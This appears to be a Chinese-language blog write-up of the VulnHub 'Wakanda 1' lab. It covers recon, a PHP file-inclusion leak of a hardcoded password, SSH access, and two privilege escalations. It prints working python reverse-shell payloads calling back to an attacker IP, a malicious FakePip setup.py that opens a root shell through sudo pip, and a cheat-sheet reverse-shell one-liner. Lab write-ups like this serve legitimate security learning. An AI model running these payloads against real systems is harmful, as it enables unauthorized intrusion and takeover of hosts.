1. 程式人生 > >wakanda-1-靶機滲透

wakanda-1-靶機滲透

文章目錄


Yof3ng的個人主頁

-對wakanda靶機的滲透之旅

​ 從vulhub上下載靶機後,本打算在vm上搭建,後發現ova匯入有點問題,故在virtualbox上搭建成功,我們需要獲得flag1.txt,flag2.txt,root.txt 三個檔案的資訊,將攻擊機,靶機均設為橋接網絡卡模式,因為我的kali是在vm裡面。

​ 靶機下載地址:https://www.vulnhub.com/entry/wakanda-1,251/

0x00 滲透過程

1.對靶機的資訊收集

攻擊機:

自用kali--IP地址:192.168.1.107

kali netdiscover 啟動:

​ 那麼可以得到靶機 IP :192.168.1.108 ,既然得到了靶機ip地址,那麼拿出nmap神器對其進行一波掃描,獲得更詳細的靶機資訊。

nmap -sV 192.168.1.108

​ 由nmap掃描得出的資訊,開啟了80埠的web服務,然後是3333埠的一個Openssh服務,這裡需要做一下筆記,ssh連線是3333埠而不是常規的22埠哦!先去80埠訪問一下看看情況:

​ emmm,發現就一個普通頁面啥也沒有,只有一個看似有用的 Made [email protected] ???難道是個使用者名稱還是個密碼啥的?先做筆記記一下,萌新就是什麼都要做筆記,接下來掃一下目錄看看:

​ 掃到幾個頁面,但是貌似SIZE都是0,被CTF各種虐的我還是選擇去看看頁面裡有沒有東西。==>轉了一圈發現確實是空的,那咋辦,難道滲透之旅到此結束?仔細想了幾分鐘,既然只有一個頁面,忘記看原始碼了,原始碼如下:

​ 這綠的我發慌的一串註釋,不用直覺我猜也是靶機的切入點了,lang引數改變會影響頁面的語言顯示,猜測可能是 lang引數改變了使用的語言php檔案,那麼就是和檔案相關的漏洞咯!

​ 但是隻有這一個頁面,應該可以檢測一下這個引數是否可以進行本地檔案包含(Local File Include),將這唯一的一個頁面的完整原始碼給讀下來。利用之前做ctf還算有一點點的經驗(參考https://blog.csdn.net/qq_35544379/article/details/78230629),我們可以用 php://filter 這個協議的一些小特性來將原始碼以base64的形式down下來:

​ 然後base64解碼得到如下完整的原始碼:

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>
<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">
    <title>Vibranium Market</title>
    <link href="bootstrap.css" rel="stylesheet">
    <link href="cover.css" rel="stylesheet"> 
  </head>
  <body class="text-center">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>
      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>
            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>
      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>
</body></html>

​ oh!get到一個password:Niamey4Ever227!!!

​ 到現在,我們收集到了作者的名稱 mamadou,開放在3333埠的ssh服務,然後一個password。


2.開始滲透靶機

​ 二話不說,用ssh試試遠端登入靶機:

ssh 192.168.1.108 -l mamadou -p 3333

​ 輸入Niamey4Ever227!!!作為密碼登入,兩秒之後,彈出來一個python shell介面?見識短淺見識短淺,試試用python的pty把完全互動式的終端弄出來。

>>>from pty import spawn
>>>spawn("/bin/bash")
[email protected]:~$ 

​ 問題不大,ls看一下目錄,看到了我們要找的第一個flag,也就是flag1.txt,然後cat flag1.txt ==> Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

​ 接下來就是找一下flag2.txt了,到上級目錄看到了另外一個使用者 devops 的目錄,進去看看找到了flag2.txt,但是沒有許可權,需要以devops的身份開啟。

​ 去別的目錄逛一逛,果然/tmp目錄下是有點東西的,但是隻是一個test檔案,裡面含有一個‘test’字串,並沒有什麼不同。

​ 看看跟devops有關係的檔案有哪些:

​ 第一個還是僅有的一個就是一個python指令碼的樣子(忽略後面的setup.py,因為是做完之後寫的文章,setup.py是後面我弄進去的檔案),看看.antivirus.py內容是啥:

open('/tmp/test','w').write('test')

​ 就一行,和test扯上了關係,往之前/tmp/目錄下的test檔案寫入‘test’字串。這個python指令碼是可寫的,我能將shell寫入其中並且執行,但是反彈的使用者卻仍然是mamadou,而不是想要的devops,問題在哪呢?思考很久,查了下antivirus的意思’抗生素’,沒啥用。

#.antivirus.py--payload
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.1.107',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

​ 後來經人點撥,恍然大悟,如果這個指令碼是會自動執行的,那麼就不會反彈mamadou許可權的shell了,而是它本身具有的devops許可權,而經過查詢資料,瞭解到存放在/src目錄下的一般為系統服務類指令碼檔案,那麼它自動執行的假設就顯然可以成立了(我還是對有些性質不夠了解)。

#用此命令檢視.antivirus.py是否自動執行
[email protected]:/srv$ grep -R .antivirus.py / 2>/dev/null

/lib/systemd/system/antivirus.service:ExecStart=/usr/bin/env python /srv/.antivirus.py
#確實在自動執行,檢視一下antivirus.service檔案
[Unit]
Description=Antivirus
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=300
User=devops
ExecStart=/usr/bin/env python /srv/.antivirus.py

[Install]
WantedBy=multi-user.target
#可以看到是每300秒執行一次

​ 那麼接下來,寫入的shell原封不動,kali攻擊機nc監聽7777埠,等待.antivirus.py自動執行(一分一秒地等待總是漫長的)。

​ 果不其然,獲得了反彈devops許可權的shell,那麼cat flag2.txt ==>Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

​ 那麼下一步就是拿下root許可權,攻入root目錄了。


3.攻破root

​ 先看看devops使用者許可權大概是怎樣的, 執行sudo -l命令:

​ 然而,只有一個pip命令是可以不需要root許可權就能執行的,試試pip install falsk,沒問題。

​ 那麼怎樣才能通過pip來獲取root許可權呢?這裡用到一個github上的開源指令碼Fakepip。這個指令碼通過在pip重新安裝時執行的setup.py檔案中插入shellcode,導致其可通過pip反彈root許可權的shell給攻擊機。專案地址(https://github.com/0x00-0x00/FakePip.git)

​ 接下來在攻擊機上把Fakepip給git下來,然後進入Fakepip目錄,將setup.py中的RHOST引數改為攻擊機地址:192.168.1.107,然後啟動python的簡易伺服器。

from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.1.107'  # change this

    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

​ 然後在devops靶機上用wget http://192.168.1.107/setup.py 將攻擊機上的setup.py下載到本地,攻擊機kali開始用nc監聽443埠,準備接收即將到來的shell。

​ 在devops靶機上命令pip重灌:sudo pip install ./ --upgrade --force-install

​ kali興奮地一把接到反彈過來的shell:

cd root ,然後cat root.txt:

​ 萌新的滲透到此暫停emmmm。


0x01 小知識


nmap plus

1.特殊掃描方式 ==> nmap -sV/-sP/-sS/sL 其中-sP是用於掃描IP段的

2.詳細地掃描目標:

nmap -sV 或者 nmap -p- -A <目標ip>

或者超強力的: nmap -sS -sV -A -p- <目標ip>


python 反彈shell & pip get shell

python 反彈 shell:

python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"

python構造完全互動式終端 :

 python -c "import pty;pty.spawn('/bin/bash')"

php filter and input --LFI本地檔案包含漏洞

參考 https://blog.csdn.net/qq_35544379/article/details/78230629

php://filter,php://input,php://output都是有妙用的哦!


msfvenom -p 生成shell

​ 但在滲透過程中發現,不用msfvenom生成的加密shell也能成功反彈,不過還是要養成好習慣,多用用這種神器提高效率並且準確率。

參考連結 https://www.cnblogs.com/xishaonian/p/6851475.html


linux 中的一些命令與特性

==> su & sudo

可用於切換使用者

==> lsattr 是 ls的升級版,就如aptitude 與apt相似一樣

==> find / -user root 2>/dev/null 檢視使用者屬性為root的檔案

==>ps -aux 檢視所有服務 ==>top 檢視程序


0x02 總結

​ 滲透一定一定注意資訊收集,思維拓展,然後就是紮實的基礎!

​ 如果沒有那麼強的能力,滲透確實有點吃力,但是吃力的過程也在進步,就像不停的被虐的過程,自然自己的等級也在提高,不停地膜大神的文章的同時,自己也會受其影響,作為老臘肉,只能繼續學習。